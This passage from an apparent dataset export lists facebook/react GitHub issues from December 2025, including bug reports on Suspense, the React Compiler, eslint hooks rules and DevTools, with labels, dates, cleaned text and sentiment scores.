1. Create a React Server Component with a short async delay (~5ms) wrapped in Suspense
2. Trigger a revalidation (e.g., via revalidatePath() in Next.js)
3. The server sends correct updated data, but the client UI does not update

Link to code example: https://github.com/vercel/next.js/issues/87529

## The current behavior

After calling revalidatePath(), the browser receives the correct Flight data with the updated counter value, but the UI remains stuck showing the old value. This only happens:
- In production mode
- With short async delays (~5ms)
- When the component is wrapped in Suspense

https://github.com/user-attachments/assets/85e3ccaa-75af-4bed-859e-972c30e50904

The issue was introduced in commit that upgraded React from `eaee5308-20250728` to `9be531cd-20250729`.

## Root cause

The new resolveLazy function in ReactChildFiber.js catches promises and throws SuspenseException:

```ts
export function resolveLazy<T>(lazyType: LazyComponentType<T, any>): T {
  try {
    if (__DEV__) {
      return callLazyInitInDEV(lazyType);
    }
    const payload = lazyType._payload;
    const init = lazyType._init;
    return init(payload);
  } catch (x) {
    if (x !== null && typeof x === 'object' && typeof x.then === 'function') {
      // This lazy Suspended. Treat this as if we called use() to unwrap it.
      suspendedThenable = x;
      if (__DEV__) {
        needsToResetSuspendedThenableDEV = true;
      }
      throw SuspenseException;
    }
    throw... [TRUNCATED]",Status: Unconfirmed,2025-12-21 13:15:39+00:00,2026-01-16 18:04:57+00:00,6,Status: Unconfirmed,26.2009,resolvelazy catching promises causes race condition with short lived suspense wrapped components create a react server component with a short async delay ms wrapped in suspense trigger a revalidation e g via revalidatepath in next js the server sends correct updated data but the client ui does not update link to code example the current behavior after calling revalidatepath the browser receives the correct flight data with the updated counter value but the ui remains stuck showing the old value this only happens in production mode with short async delays ms when the component is wrapped in suspense the issue was introduced in commit that upgraded react from to root cause the new resolvelazy function in reactchildfiber js catches promises and throws suspenseexception ts export function resolvelazy lazytype lazycomponenttype t try if dev return calllazyinitindev lazytype const payload lazytype payload const init lazytype init return init payload catch x if x null typeof x object typeof x then function this lazy suspended treat this as if we called use to unwrap it suspendedthenable x if dev needstoresetsuspendedthenabledev true throw suspenseexception throw truncated,bug,0.8716
facebook/react,3750036162,[DevTools Bug]:,"### Website or app

https://legacy.reactjs.org/versions/

### Repro steps

![Image](https://github.com/user-attachments/assets/a7e10b3c-cba9-4355-9b6e-99cc306a596a)

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-12-20 12:58:15+00:00,2026-01-07 00:22:18+00:00,0,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",17.475,devtools bug website or app repro steps image how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9618
facebook/react,3748438519,Bug: `eslint-plugin-react-hooks` hides all errors on multiple findings,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

React version: 19.2.0

## Steps To Reproduce

1. Add `eslint-plugin-react-hooks` to your project
2. Open a tsx file
3. Intentionally add a violation of the `react-hooks/set-state-in-effect` rule
4. In the same file, intentionally add a violation of `react-hooks/static-components` rule
5. Uncomment 1 of the 2 commented lines of code below

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-12-19 18:39:27+00:00,2026-04-12 00:40:27+00:00,13,"Status: Unconfirmed,Resolution: Stale",113.2507,hides all errors on multiple findings of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script react version add to your project open a tsx file intentionally add a violation of the rule in the same file intentionally add a violation of rule uncomment of the commented lines of code below your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips truncated,bug,-0.9136
facebook/react,3748401443,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-19 18:25:13+00:00,2026-01-07 00:22:31+00:00,0,Status: Unconfirmed,18.2481,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3744473391,Bug: react-devtools 7.0.1 - Electron failed to install correctly,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: Latest

## Steps To Reproduce

1. Install `react-devtools` as global package.
2. Try running it.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
```
❯ react-devtools         
~/.local/share/mise/installs/npm-react-devtools/7.0.1/5/.pnpm/electron@23.3.13/node_modules/electron/index.js:17
    throw new Error('Electron failed to install correctly, please delete node_modules/electron and try installing again');
    ^

Error: Electron failed to install correctly, please delete node_modules/electron and try installing again
    at getElectronPath (~/.local/share/mise/installs/npm-react-devtools/7.0.1/5/.pnpm/electron@23.3.13/node_modules/electron/index.js:17:11)
... [TRUNCATED]",Status: Unconfirmed,2025-12-18 19:10:54+00:00,2026-02-15 16:42:37+00:00,2,Status: Unconfirmed,58.897,react devtools electron failed to install correctly of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version latest install as global package try running it your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior react devtools local share mise installs npm react devtools pnpm electron node modules electron index js throw new error electron failed to install correctly please delete node modules electron and try installing again error electron failed to install correctly please delete node modules electron and try installing again at getelectronpath local share mise installs npm react devtools pnpm electron node modules electron index js truncated,bug,-0.9287
facebook/react,3739945738,Bug: Transition never resolves when nesting Suspense,"React version: 19.2.3

## Steps To Reproduce

1. Open https://codesandbox.io/p/sandbox/kng288?file=%2Fsrc%2FApp.js
2. Press ""resolve content of 0""
3. Press ""next session""

## The current behavior

nothing happens

## The expected behavior

""session 0"" changes to ""session 1""

## Full Code

```js
import { useState, use, Suspense, startTransition } from ""react"";

let nextId = 0;

class Session {
  id = nextId++;
  contentPromise;
  resolveContent;

  constructor() {
    this.contentPromise = new Promise((r) => (this.resolveContent = r));
  }

  static async create() {
    await Promise.resolve();
    return new Session();
  }
}

let initialSessionPromise = Session.create();

export default function App() {
  const [sessionPromise, setSessionPromise] = useState(initialSessionPromise);

  return (
    <Suspense fallback={<p>loading session...</p>}>
      <SessionView
        sessionPromise={sessionPromise}
        onNew={() => startTransition(() => setSessionPromise(Session.create()))}
      />
    </Suspense>
  );
}

function SessionView({ sessionPromise, onNew }) {
  const session = use(sessionPromise);

  return (
    <>
      <p>session {session.id}</p>
      <button onClick={onNew}>new session</button>
      <button onClick={session.resolveContent}>
        resolve content of {session.id}
      </button>
      <Suspense fallback={<p>loading content for {session.id}...</p>}>
        <Content session={session} />
      </Suspense>
    </>
  );
}

function Content({ session }) {... [TRUNCATED]",Status: Unconfirmed,2025-12-17 18:15:20+00:00,2025-12-18 02:02:05+00:00,4,Status: Unconfirmed,0.3241,transition never resolves when nesting suspense react version open press resolve content of press next session the current behavior nothing happens the session changes to session full code js import usestate use suspense starttransition from react let nextid class session id nextid contentpromise resolvecontent constructor this contentpromise new promise r this resolvecontent r static async create await promise resolve return new session let initialsessionpromise session create export default function app const sessionpromise setsessionpromise usestate initialsessionpromise return loading session sessionview sessionpromise sessionpromise onnew starttransition setsessionpromise session create function sessionview sessionpromise onnew const session use sessionpromise return session session id new session resolve content of session id loading content for session id function content session truncated,bug,0.9358
facebook/react,3737494567,Bug: I have found one issue on your blog.,"I found your blog in issue: 
Blog URL: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components#additional-fix-published
Blog Title: Denial of Service and Source Code Exposure in React Server Components
-> In this blog you are added multiple react version. 
This includes versions 19.0.0, 19.0.1, 19.0.2, 19.1.0, 19.1.1, 19.1.2, 19.1.2, 19.2.0, 19.2.1 and 19.2.2
-> Issue is your are added multiple time added this version 19.1.2. ","Status: Unconfirmed,Resolution: Stale",2025-12-17 06:13:50+00:00,2026-04-12 23:13:01+00:00,5,"Status: Unconfirmed,Resolution: Stale",116.7078,i have found one issue on your blog i found your blog in issue blog url blog title denial of service and source code exposure in react server components in this blog you are added multiple react version this includes versions and issue is your are added multiple time added this version,bug,0.0
facebook/react,3736261831,Bug: `react-hooks/set-state-in-effect` doesn't work in `React.useState` and `React.useEffect`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

When calling `setState` from inside `React.useEffect`, as opposed to directly `useEffect`, the `set-state-in-effect` eslint rule does not detect a violation. This rule should detect violations regardless of how `useState` and `useEffect` are imported.

React version: 19.2.3
`eslint-plugin-react-hooks` version: 7.0.1

## Steps To Reproduce

1. Enable `set-state-in-effect` in your eslint config
2. Import React with `import * as React from 'react'`
3. Create a component that calls `setState` from inside `React.useEffect`
4. Run eslint and observe that eslint does not fail
<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/appellation/eslint-react-repro

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

`set-s... [TRUNCATED]",Status: Unconfirmed,2025-12-16 20:44:21+00:00,2026-02-04 17:49:17+00:00,2,Status: Unconfirmed,49.8784,doesn t work in and of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed when calling from inside as opposed to directly the eslint rule does not detect a violation this rule should detect violations regardless of how and are imported react version version enable in your eslint config import react with create a component that calls from inside run eslint and observe that eslint does not fail your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior set s truncated,bug,-0.4574
facebook/react,3735180553,Bug: Fiber Scheduler Overhead Under Heavy Suspense Trees,"Large Suspense boundaries create nested work units that increase reconciliation time due to excessive yielding.
A micro-optimization in beginWork to short‑circuit noop boundaries would reduce UI stalls in concurrent mode.","Status: Unconfirmed,Resolution: Stale",2025-12-16 15:02:49+00:00,2026-03-23 16:22:46+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0555,fiber scheduler overhead under heavy suspense trees large suspense boundaries create nested work units that increase reconciliation time due to excessive yielding a micro optimization in beginwork to short circuit noop boundaries would reduce ui stalls in concurrent mode,bug,0.7184
facebook/react,3733426626,Improve cyclic thenable detection in ReactFlightReplyServer,"React version:
19.0.3

## Steps To Reproduce

1. In `ReactFlightReplyServer.js`, construct a chain of `ReactPromise` instances where each `.value` points to the next, and the last one points back to the first (e.g. `A -> B -> C -> A`), creating a multi‑node cycle.
2. Trigger the cycle detection logic by resolving a chunk whose `value` is the head of this cycle and observing how the `while (inspectedValue instanceof ReactPromise)` loop behaves.

## The current behavior

The cycle detection added in commit `bd4289b` only checks for a direct
self‑reference:

```js
let cycleProtection = 0;
while (inspectedValue instanceof ReactPromise) {
  cycleProtection++;
  if (inspectedValue === chunk || cycleProtection > 1000) {
    if (typeof reject === 'function') {
      reject(new Error('Cannot have cyclic thenables.'));
    }
  }
}
```

`inspectedValue === chunk` catches a simple self‑loop, but a longer cycle like `A -> B -> C -> A` will continue iterating until the `cycleProtection` counter hits the $1000$ limit instead of detecting the cycle when a node is revisited.

## The expected behavior

Any cyclic thenable chain, including multi‑node cycles (not just direct
self‑references), should be rejected as soon as a `ReactPromise` is encountered more than once in the traversal, rather than relying on the $1000$ `cycleProtection` cap to eventually bail out.
",Status: Unconfirmed,2025-12-16 06:42:13+00:00,2025-12-17 11:22:27+00:00,2,Status: Unconfirmed,1.1946,improve cyclic thenable detection in reactflightreplyserver react version in construct a chain of instances where each points to the next and the last one points back to the first e g creating a multi node cycle trigger the cycle detection logic by resolving a chunk whose is the head of this cycle and observing how the loop behaves the current behavior the cycle detection added in commit only checks for a direct self reference catches a simple self loop but a longer cycle like will continue iterating until the counter hits the limit instead of detecting the cycle when a node is revisited the any cyclic thenable chain including multi node cycles not just direct self references should be rejected as soon as a is encountered more than once in the traversal rather than relying on the cap to eventually bail out,others,0.4118
facebook/react,3733390400,Improve cyclic thenable detection in ReactFlightReplyServer,Closing this PR for now; I want to rethink the approach and will open a new one if needed.,Status: Unconfirmed,2025-12-16 06:28:41+00:00,2025-12-16 06:32:09+00:00,0,Status: Unconfirmed,0.0024,improve cyclic thenable detection in reactflightreplyserver closing this pr for now i want to rethink the approach and will open a new one if needed,others,0.4939
facebook/react,3729312611,[DevTools Bug] Children cannot be added or removed during a reorder operation.,"### Website or app

npx react-devtools

### Repro steps

I just run `npx react-devtools`, it recognise my app because does not appear the first page about how to connect it, but I always receive this error even have already checked my FlatList components (I am running React Native Expo development build). And if I close the error, it never loads my components. I receive a ""Loading React Element Tree..."" in looping.

I have already tried `NODE_OPTIONS=""--max-old-space-size=4096"" react-devtools` but still the same error

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-core

### DevTools version (automated)

7.0.1-3cde211b0c

### Error message (automated)

Children cannot be added or removed during a reorder operation.

### Error call stack (automated)

```text
at /Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1124896
    at f.emit (/Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1055367)
    at /Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1057098
    at /Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1539281
    at Array.forEach (<anonymous>)
    at KS.e.onmessage (/Users/mariaferreira/.... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-12-15 08:24:26+00:00,2026-02-07 22:24:21+00:00,6,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",54.5833,devtools bug children cannot be added or removed during a reorder operation website or app npx react devtools repro steps i just run it recognise my app because does not appear the first page about how to connect it but i always receive this error even have already checked my flatlist components i am running react native expo development build and if i close the error it never loads my components i receive a loading react element tree in looping i have already tried but still the same error how often does this bug happen every time devtools package automated react devtools core devtools version automated cde b c error message automated children cannot be added or removed during a reorder operation error call stack automated text at users mariaferreira nvm versions node v lib node modules react devtools node modules react devtools core dist standalone js at f emit users mariaferreira nvm versions node v lib node modules react devtools node modules react devtools core dist standalone js at users mariaferreira nvm versions node v lib node modules react devtools node modules react devtools core dist standalone js at users mariaferreira nvm versions node v lib node modules react devtools node modules react devtools core dist standalone js at array foreach at ks e onmessage users mariaferreira truncated,bug,-0.9858
facebook/react,3725948372,[Compiler Bug]:Compiler doesn't memoize if const is between hooks,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4lgzg9grgTgxgUxALhAejQAgLIILYQCWAXggCaYBGAnpgEolCGc

### Repro steps

1. Open the React Compiler Playground link: https://playground.react.dev/#N4lgzg9grgTgxgUxALhAejQAgLIILYQCWAXggCaYBGAnpgEolCGc
2. Observe the code that has a `const` declaration between React hooks
3. Check the compiled output - you'll see that memoization is not working correctly
4. The compiler should memoize values even when const is between hooks, but it currently doesn't

### How often does this bug happen?

Every time

### What version of React are you using?

 Latest (React 19 or main branch)

### What version of React Compiler are you using?

Latest babel-plugin-react-compiler from main branch","Type: Bug,Status: Unconfirmed",2025-12-13 13:10:35+00:00,2025-12-13 21:20:43+00:00,1,"Type: Bug,Status: Unconfirmed",0.3404,compiler bug compiler doesn t memoize if const is between hooks what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps open the react compiler playground link observe the code that has a declaration between react hooks check the compiled output you ll see that memoization is not working correctly the compiler should memoize values even when const is between hooks but it currently doesn t how often does this bug happen every time what version of react are you using latest react or main branch what version of react compiler are you using latest babel plugin react compiler from main branch,bug,-0.5187
facebook/react,3723197024,[Compiler Bug]: Function hoisting ignored in eslint rule react-hooks/immutability,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAsgJ4DCEAtgA6EKY4AUtMEtYAlEcADrEiUMAgCiaNAlzNmPALwA+XgKKqiaCBFkBuFUQC+XXYID0J9VlwFiAEykAbAIYxH+QmCLOERBBKn4ANwR7Mk8cIhwAC28cDiIINAjoojA4DgQ9DGw3Yg0tHmADIj0YBBxYYkwoe3tjfQEQABoQNMw0PABzFBA8OggYcJwyWm9CgAV7KA68TAB5WhyPfXV2aiIAcgAjR03ggFpaSenMPdLHXD20ujx7BBgTGzwwHHXjAWZ+UxMr2hvXaxIEDsyGKIEcNT4IAEyzA-zA7QQHgmUxm80WRia4EiEAA7gBJJh3TDgsAoNAkhD6IA

### Repro steps

eslint rule `react-hooks/immutability` ignores [function hoisting](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#function_hoisting). This
```
function MyComponent(props) {
  useEffect(() => {
    foo();
  });
  // function declarations are effectively at the top of the scope
  function foo() { } 
  return null;
}
```
should not cause error
```
Error: Cannot access variable before it is declared

`foo` is accessed before it is declared, which prevents the earlier access from updating when this value changes over time.
```

### How often does this bug happen?

Every time

### What version of React are you using?

19.2

### Wha... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-12-12 12:09:38+00:00,2025-12-12 22:25:01+00:00,2,"Type: Bug,Status: Unconfirmed",0.4273,compiler bug function hoisting ignored in eslint rule react hooks immutability what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps eslint rule ignores function hoisting this should not cause error how often does this bug happen every time what version of react are you using wha truncated,bug,-0.6508
facebook/react,3712764350,Bug: Server Components error when directly rendering a Context,"A Server Component that renders `<Context>` directly will result in a runtime error:

> Element type is invalid. Received a promise that resolves to: Context. Lazy element type must resolve to a class or function.

[Here's the minimum repro](https://github.com/samselikoff/2025-12-09-render-context-from-rsc):

```tsx
import { Context } from './context';

export default function Home() {
  return <Context value={2}>hello</Context>;
}
```

```tsx
// context.tsx
'use client';

import { createContext } from 'react';

export const Context = createContext(1);
```


React version: 19.3.0-canary-378973b3-20251205

Link to code example:

https://github.com/samselikoff/2025-12-09-render-context-from-rsc

## The current behavior

Renders without error

## The expected behavior

Errors with

> Element type is invalid. Received a promise that resolves to: Context. Lazy element type must resolve to a class or function.",Status: Unconfirmed,2025-12-09 21:46:08+00:00,2026-02-03 15:23:04+00:00,2,Status: Unconfirmed,55.734,server components error when directly rendering a context a server component that renders directly will result in a runtime error element type is invalid received a promise that resolves to context lazy element type must resolve to a class or function here s the minimum repro react version canary b link to code example the current behavior renders without error the errors with element type is invalid received a promise that resolves to context lazy element type must resolve to a class or function,bug,-0.2415
facebook/react,3710652146,Bug: ViewTransition with enter/exit hard-crashes iOS Safari,"I'm experiencing an iOS-only crash (iOS 26.1) when there's `ViewTransition` with `enter` and another with `exit`:

```js
import { Suspense, use } from ""react"";
import { ViewTransition } from ""react"";
import ""./App.css"";

const promise = new Promise((r) => setTimeout(() => r(""Done""), 3000));

function Content() {
  return <div>{use(promise)}</div>;
}

export default function App() {
  return (
    <Suspense
      fallback={
        <ViewTransition exit=""vt-reveal"">
          <div>Loading...</div>
        </ViewTransition>
      }
    >
      <ViewTransition enter=""vt-reveal"">
        <Content />
      </ViewTransition>
    </Suspense>
  );
}
```

```css
::view-transition-old(.vt-reveal) {
  animation: 300ms ease-out both vt-out;
}
::view-transition-new(.vt-reveal) {
  animation: 300ms ease-out both vt-in;
}
@keyframes vt-out {
  to {
    opacity: 0;
  }
}
@keyframes vt-in {
  from {
    opacity: 0;
  }
}
```

This is a hard crash, meaning the browser tab literally dies.

Sandbox: https://codesandbox.io/p/sandbox/gns365?file=%2Fsrc%2FApp.js","Type: Bug,Browser: Safari",2025-12-09 12:25:51+00:00,2025-12-17 03:47:25+00:00,6,"Type: Bug,Browser: Safari",7.64,viewtransition with enter exit hard crashes ios safari i m experiencing an ios only crash ios when there s with and another with this is a hard crash meaning the browser tab literally dies sandbox,bug,-0.9186
facebook/react,3707749012,Bug: Suspense fallback streaming not working without html/body/head components,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->
Suspense fallback is not rendered during SSR when the root component lacks top-level `<html>`, `<head>`, or `<body>` tags. The server buffers the entire response until all suspended promises resolve, preventing streaming and the rendering of the initial fallback content.

This behavior impacts a use case where the React component is rendered as a sub-tree to be integrated into a larger application that uses a different framework.

This [commit](https://github.com/facebook/react/commit/b25bcd460f98a0b89e5a7199a6c88112163d961f) introduced this behavior change in the streaming logic where it worked in 19.0.0.

React version: 19.1-19.2

## Steps To Reproduce

1. Access https://3c4mqn-8080.csb.app/no-streaming

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https:/... [TRUNCATED]",Status: Unconfirmed,2025-12-08 19:35:07+00:00,2026-01-02 17:51:04+00:00,1,Status: Unconfirmed,24.9277,suspense fallback streaming not working without html body head components of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed suspense fallback is not rendered during ssr when the root component lacks top level or tags the server buffers the entire response until all suspended promises resolve preventing streaming and the rendering of the initial fallback content this behavior impacts a use case where the react component is rendered as a sub tree to be integrated into a larger application that uses a different framework this commit introduced this behavior change in the streaming logic where it worked in react version access your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example https truncated,bug,-0.1531
facebook/react,3705922607,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-08 11:24:48+00:00,2025-12-09 16:04:41+00:00,0,Status: Unconfirmed,1.1944,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3704999581,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

. Thank you for helping us make this chatbot experience better!

### Repro steps

4575490200340206

### How often does this bug happen?

Every time

### What version of React are you using?

10000$

### What version of React Compiler are you using?

4575490200340206","Type: Bug,Status: Unconfirmed",2025-12-08 07:21:29+00:00,2025-12-09 16:04:55+00:00,0,"Type: Bug,Status: Unconfirmed",1.3635,compiler bug what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react hooks build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro thank you for helping us make this chatbot experience better repro steps how often does this bug happen every time what version of react are you using what version of react compiler are you using,bug,0.4939
facebook/react,3704579373,"Bug: React DevTools shows different versions (Stable vs. Canary) for Page/App Router in Next.js, potentially indicating an unpatched security risk (19.2.0-canary vs 19.2.1)","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: react 19.1.2 / next 15.3.6

## Steps To Reproduce

1.  Set up a Next.js project with both App Router and Page Router enabled.
2. Set react and react-dom versions to 19.1.2 in package.json and run pnpm install
3. Create a page based on the Page Router
4. Create a page based on the App Router
5. Open React DevTools.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
React DevTools displays 19.2.0-canary on App Router pages.

## The expected behavior
React DevTools should display 19.1.2 on App Router pages, consistent with the Page Router and the stable React version specified in the project's package.json.

Furthermore, since version 19.2.0 (or its corresponding... [TRUNCATED]",Status: Unconfirmed,2025-12-08 04:20:00+00:00,2025-12-08 05:18:22+00:00,2,Status: Unconfirmed,0.0405,react devtools shows different versions stable vs canary for page app router in next js potentially indicating an unpatched security risk canary vs of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version react next set up a next js project with both app router and page router enabled set react and react dom versions to in package json and run pnpm install create a page based on the page router create a page based on the app router open react devtools your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior react devtools displays canary on app router pages the react devtools should display on app router pages consistent with the page router and the stable react version specified in the project s package json furthermore since version or its corresponding truncated,bug,0.5719
facebook/react,3700671003,Bug: Facebook account nakalimutan ko pano maopen ang aking account,"<!--
  Please provide a clear and concise description of what the bug is. Include
